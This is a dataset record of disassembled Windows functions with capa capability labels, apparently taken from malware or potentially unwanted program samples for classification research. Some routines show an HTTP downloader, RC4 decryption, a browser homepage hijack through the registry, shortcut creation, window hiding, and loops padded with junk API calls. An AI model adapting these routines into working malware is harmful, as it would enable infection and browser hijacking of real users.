joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f210
Capabilities:
Accept command line arguments
Clear file content
Copy file
Get common file path
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10c4
call fcn.004127f0
mov dword [ebp - 4], 0
jmp 0x41f22f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x41f2c1
cmp dword [0x4cb674], 0xfc
jne 0x41f268
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [ebp - 0x10c4], eax
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4cb674], 0x5e4
jne 0x41f2b1
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push str.Bim_tog_getarat
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push 0
mov ecx, dword [ebp - 0x60]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
cmp dword [ebp - 4], 0x9be51dc
jle 0x41f2bc
jmp 0x41f2c1
jmp 0x41f226
push 0x42a0c0
mov edx, dword [0x4cb674]
push edx
mov eax, dword [0x4ca9ac]
push eax
call fcn.0041f100
mov dword [ebp - 0x64], 0
jmp 0x41f2ea
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x3e7a3
jge 0x41f326
cmp dword [0x4cb674], 0x10
jne 0x41f30e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
cmp dword [ebp - 0x64], 0x4f3b3
jne 0x41f324
call fcn.0041ed30
jmp 0x41f2e1
mov dword [ebp - 0x6c], 0
jmp 0x41f338
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
cmp dword [ebp - 0x6c], 0xdd9a7
jge 0x41f35b
cmp dword [0x4cb674], 0xc01
jne 0x41f359
lea eax, [ebp - 0x70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
jmp 0x41f32f
call dword [0x4ca9ac]
cmp dword [0x4cb674], 0x1144
jne 0x41f445
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x404546
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4160c0
push 0x4160b8
push str.FlsAlloc
push 0x1f
call fcn.0040495d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40457a
push dword [ebp + 8]
mov ecx, esi
call dword [0x41bee8]
call esi
jmp 0x404580
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4045c4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4160d0
push 0x4160c8
push str.FlsGetValue
push 0x21
call fcn.0040495d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4045fb
push dword [ebp + 8]
mov ecx, esi
call dword [0x41bee8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x404603
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4160d8
push 0x4160d0
push str.FlsSetValue
push 0x22
call fcn.0040495d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40463d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41bee8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]

Function at 0x406ceb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406d2a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406d2a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406d2a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406d2a
cmp dword [ecx + 0x74], 0xe
jbe 0x406d2a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40a626
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41d304]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00403e06
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00403e06
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x40a69d
cmp word [ecx], dx
je 0x40a69d
mov eax, dword [0x417f94]
push edi
dec eax
push eax
push 0x417e80
call fcn.0040a816
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x40a710
cmp word [eax], dx
je 0x40a710
mov eax, dword [edi]
test eax, eax
je 0x40a6c1
cmp word [eax], dx
je 0x40a6c1
lea eax, [ebp - 0x10]
push eax
call fcn.0040a877
jmp 0x40a6ca
lea eax, [ebp - 0x10]
push eax
call fcn.0040ab65
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x40a73a
mov eax, dword [0x417e7c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x417b70
call fcn.0040a816
add esp, 0xc
test al, al
je 0x40a73a
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x40a705
cmp word [eax], di
je 0x40a705
lea eax, [ebp - 0x10]
push eax
call fcn.0040a877
pop ecx
jmp 0x40a73c
lea eax, [ebp - 0x10]
push eax
call fcn.0040ab65
jmp 0x40a702
mov eax, dword [edi]
test eax, eax
je 0x40a727
cmp word [eax], dx
je 0x40a727
lea eax, [ebp - 0x10]
push eax
call fcn.0040ac99
pop ecx
jmp 0x40a73a
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x40a805
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0040ad8b
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40a805
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x40a805
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x40a805
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40a792
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.004047a0
test ebx, ebx
je 0x40a800
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.004047a0
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40a805
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40a805
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0040e89c
add esp, 0x10
xor eax, eax
inc eax
jmp 0x40a807
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406eaf
leave
ret
Function at 0x40ae91
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00403e06
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40af00
cmp esi, dword [ebp - 4]
je 0x40aefb
cmp dword [ebp + 0xc], 0
je 0x40aefb
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x40aed8
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0040af5a
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x40af02
xor eax, eax
inc eax
jmp 0x40af02
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x40c610
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c63d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c63d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x41552c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4155c9
push ebx
push esi
call fcn.004155cc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004075aa
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x415576
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4155c8
push edi
push eax
call fcn.0040367f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x415596
call fcn.00403645
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4155c7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004075aa
add esp, 0x20
test eax, eax
jne 0x4155b5
push edi
call fcn.00403645
jmp 0x4155bd
push ebx
call fcn.00403645
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41f1b3
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov edx, 0xb
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x41f1b9
mov eax, dword [esp + 0x38]
mov dword [0x41db0c], eax
mov edx, dword [esp + 0x34]
lea ecx, [esp]
call fcn.00401000
push 0
push 0
push 0
push 0
mov eax, str.MyUserAgent
push eax
call sub.WININET.dll_InternetOpenW
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x41f3bf
push dword [0x41db0c]
push dword [0x41db0c]
mov eax, 0x41d072
push eax
push 3
push dword [esp + 0x10]
call fcn.004015d0
lea eax, [esp + 0x28]
push eax
call fcn.00401d90
push dword [0x41db0c]
mov edx, 0x41d072
push edx
call fcn.00401df0
push dword [0x41db0c]
push dword [0x41db0c]
mov eax, 0x41d072
push eax
push 4
push dword [esp + 0x14]
call fcn.004015d0
pop eax
lea eax, [esp + 0x2c]
push eax
call fcn.00401d90
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [esp + 0x3c]
push dword [esp + 0x20]
call sub.WININET.dll_InternetConnectW
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
je 0x41f3b6
push 0
push 0x84000000
push 0
push 0
push 0
push dword [esp + 0x3c]
mov eax, 0x41d098
push eax
push dword [esp + 0x24]
call sub.WININET.dll_HttpOpenRequestW
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x41f3ad
push 0
push 0
push 0
push 0
push dword [esp + 0x1c]
call sub.WININET.dll_HttpSendRequestW
and eax, eax
je 0x41f3a4
mov dword [esp + 0x1c], 0x400
push dword [esp + 0x1c]
call fcn.00401af0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
add ebx, dword [esp + 0x1c]
push ebx
push dword [esp + 0x18]
call sub.WININET.dll_InternetReadFile
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x18]
mov dword [esp + 0x14], ebx
mov ebx, dword [esp + 0x18]
and ebx, ebx
jle 0x41f36b
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x1c]
push ebx
push dword [esp + 0x14]
call fcn.00401ce0
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x18]
and ebx, ebx
jne 0x41f326
push dword [0x41db0c]
push dword [0x41db0c]
push 0x18
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.00401bb0
lea eax, [esp + 0x24]
push eax
call fcn.00401d90
push dword [esp + 0x10]
call fcn.00401b50
push dword [esp + 0xc]
call sub.WININET.dll_InternetCloseHandle
push dword [esp + 8]
call sub.WININET.dll_InternetCloseHandle
push dword [esp + 4]
call sub.WININET.dll_InternetCloseHandle
mov edx, dword [esp + 0x20]
push dword [0x41db0c]
push edx
call fcn.00401df0
pop eax
add eax, dword [0x41d1f0]
jmp 0x41f3e8
push dword [esp + 0x28]
call fcn.00401e40
push dword [esp]
call fcn.00401e40
push dword [esp + 0x24]
call fcn.00401e40
push dword [esp + 0x20]
call fcn.00401e40
add esp, 0x2c
pop ebx
ret 4
Function at 0x41f412
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
push eax
mov dword [esp], 0
jmp 0x41f424
mov ebx, dword [esp + 0x24]
dec ebx
cmp ebx, dword [esp]
jl 0x41f4cd
mov ebp, 0x41d108
mov ebx, ebp
add ebx, dword [esp]
push ebx
call fcn.00401ba0
mov ebx, eax
and ebx, 0xff
mov dword [esp + 4], ebx
mov ebx, dword [esp + 4]
and ebx, ebx
jl 0x41f467
mov ebx, dword [esp + 4]
cmp ebx, dword [esp + 0x24]
jge 0x41f467
mov eax, 1
jmp 0x41f469
xor eax, eax
and eax, eax
je 0x41f4c4
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 4]
mov eax, edi
cdq
idiv dword [esp + 0x2c]
mov edi, edx
add ebx, edi
push ebx
call fcn.00401ba0
mov ebx, eax
and ebx, 0xff
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x30]
add ebx, dword [esp]
push ebx
call fcn.00401ba0
mov ebx, eax
and ebx, 0xff
mov dword [esp + 8], ebx
mov ebx, dword [esp + 8]
xor ebx, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x24]
add ebx, dword [esp + 8]
push ebx
call fcn.00401cd0
jmp 0x41f4c4
inc dword [esp]
jno 0x41f424
xor eax, eax
add esp, 0x10
pop edi
pop ebx
pop ebp
ret 0x14
Function at 0x402980
Capabilities:
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x421280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x4233a0]
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 1
jg 0x4029cd
mov eax, dword [0x4233b0]
add eax, 0x208
push eax
push 0x104
push dword [esi + 0x1c]
push 0x41e848
push str.pageurl
push str.HomePage
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov esi, dword [esi + 0x1c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x402a1f
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push 0
push str.Start_Page
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040d13e
mov esp, ebp
pop ebp
ret

Function at 0x402a30
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x421280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00411080
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push 0x23
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x20c]
push 0x41e9f4
push eax
call edi
mov esi, dword [0x4233a0]
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x402ab0
push 0x41e9e8
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [esi + 0x18]
lea eax, [ebp - 0x20c]
push eax
call edi
push str._Data_
lea eax, [ebp - 0x20c]
push eax
call edi
mov esi, dword [0x4233a0]
mov edx, dword [esi]
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x210], eax
lea ecx, [ecx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402ae0
sub ecx, dword [ebp - 0x210]
sar ecx, 1
jne 0x402b12
push 0
push 0x24
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x41edac
push dword [esi]
call edi
mov edx, dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push edx
call esi
push 0
call fcn.00403c70
push eax
call esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
pop edi
pop esi
test eax, eax
jne 0x402b45
lea ecx, [ebp - 0x20c]
call fcn.00406540
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d13e
mov esp, ebp
pop ebp
ret
Function at 0x403c70
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x421280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x4233a0]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x403d4b
push edi
push eax
push 2
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call edi
cmp dword [ebp - 0x114], 5
jne 0x403ce1
cmp dword [ebp - 0x110], 1
jne 0x403ce1
push 0x41ed64
jmp 0x403d12
lea eax, [ebp - 0x118]
mov dword [ebp - 0x118], 0x114
push eax
call edi
cmp dword [ebp - 0x114], 6
jne 0x403d0d
cmp dword [ebp - 0x110], 1
jne 0x403d0d
push 0x41ed7c
jmp 0x403d12
push 0x41ed98
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call edi
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x403d38
push 0x41e9e8
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [esi + 0x14]
push dword [esi + 4]
call edi
push 0x41e9f4
push dword [esi + 4]
call edi
pop edi
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 4]
xor ecx, ebp
pop esi
call fcn.0040d13e
mov esp, ebp
pop ebp
ret

Function at 0x403d60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x4233a0]
push edi
mov edx, dword [esi]
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403d73
sub ecx, edi
sar ecx, 1
je 0x403d8c
pop edi
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0x24
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x41edac
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esi]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403fc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x41ef2c
mov esi, eax
push 0x12e
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x404043
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x404042
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x40403b
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.0040d219
push esi
mov ebx, eax
push edi
push ebx
call fcn.00412590
add esp, 0x10
mov byte [ebx + esi], 0
push ebx
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowTextA]
test ebx, ebx
je 0x40403b
push ebx
call fcn.0040d28f
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x404ad0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x421280]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c0]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esi]
cmp eax, 1
jne 0x404b6f
mov eax, dword [edi + 0x194]
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [eax]
call ebx
mov esi, dword [edi + 0x198]
push 0xffffffffffffffeb
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, eax
je 0x404b4a
mov edi, dword [eax + 0x1b4]
test edi, edi
je 0x404b4a
push 0x41ef4c
push dword [eax + 0x1b8]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 5
push edi
call ebx
mov eax, dword [esi]
test eax, eax
jne 0x404b65
mov ecx, esi
call fcn.00404160
push 5
mov ecx, esi
call fcn.004040b0
jmp 0x404cde
push 5
push eax
call ebx
jmp 0x404cde
cmp eax, 2
jne 0x404b94
mov eax, dword [edi + 0x198]
push 0
push dword [eax]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [edi + 0x1a4]
call fcn.00401480
jmp 0x404cde
cmp eax, 3
jne 0x404bb9
mov eax, dword [edi + 0x1a4]
push 0
push dword [eax]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [edi + 0x1ac]
call fcn.004037f0
jmp 0x404cde
cmp eax, 4
jne 0x404bde
mov eax, dword [edi + 0x1ac]
push 0
push dword [eax]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [edi + 0x1b0]
call fcn.00401dc0
jmp 0x404cde
cmp eax, 5
jne 0x404cde
push 0xc
call fcn.0040d219
add esp, 4
test eax, eax
je 0x404c19
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax], 0
jmp 0x404c1b
xor eax, eax
mov dword [0x4233a8], eax
mov eax, dword [0x4233a0]
push 0x206
mov ebx, dword [eax + 0xb4]
xor eax, eax
push eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1a]
push eax
call fcn.00411080
add esp, 0xc
call fcn.00403d60
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push eax
lea eax, [esp + 0x14]
push eax
call esi
call fcn.00403dc0
push eax
lea eax, [esp + 0x14]
push eax
call esi
mov eax, dword [edi + 0x1b0]
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x404c98
push 0
push 0
push 0xf0
push eax
call esi
test eax, eax
je 0x404c98
mov eax, dword [0x4233a0]
cmp dword [eax + 0x28], 0
je 0x404c98
call fcn.00402980
mov eax, dword [edi + 0x1b0]
mov eax, dword [eax + 8]
test eax, eax
je 0x404cc3
push 0
push 0
push 0xf0
push eax
call esi
test eax, eax
je 0x404cc3
sub esp, 8
lea eax, [esp + 0x18]
push eax
push ecx
call fcn.00404ed0
test ebx, ebx
jle 0x404cd6
push 0
push dword [edi]
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.00402e70
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [esp + 0x21c]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040d13e
mov esp, ebp
pop ebp
ret
Function at 0x405390
Capabilities:
Check if file exists
Create directory
Create shortcut via ishelllink
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x421280]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x218], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00411080
add esp, 0xc
call fcn.00403c70
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
push 0
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
test edi, edi
je 0x405424
push edi
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x41e9f4
lea eax, [ebp - 0x20c]
push eax
call esi
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x41f050
lea eax, [ebp - 0x20c]
push eax
call esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 0
push eax
push 0x41a340
push 1
push 0
push 0x41a350
mov dword [ebp - 0x214], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4054fc
mov eax, dword [ebp - 0x210]
mov esi, dword [ebp - 0x218]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x210]
push 0x41e848
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x210]
push 0
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x210]
lea edx, [ebp - 0x214]
push edx
push 0x41a360
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x4054fc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4054e7
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x214]
lea edx, [ebp - 0x20c]
push 2
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov ecx, dword [ebp - 0x214]
pop edi
pop esi
pop ebx
test ecx, ecx
je 0x40550f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x210]
test ecx, ecx
je 0x40551f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d13e
mov esp, ebp
pop ebp
ret 0x14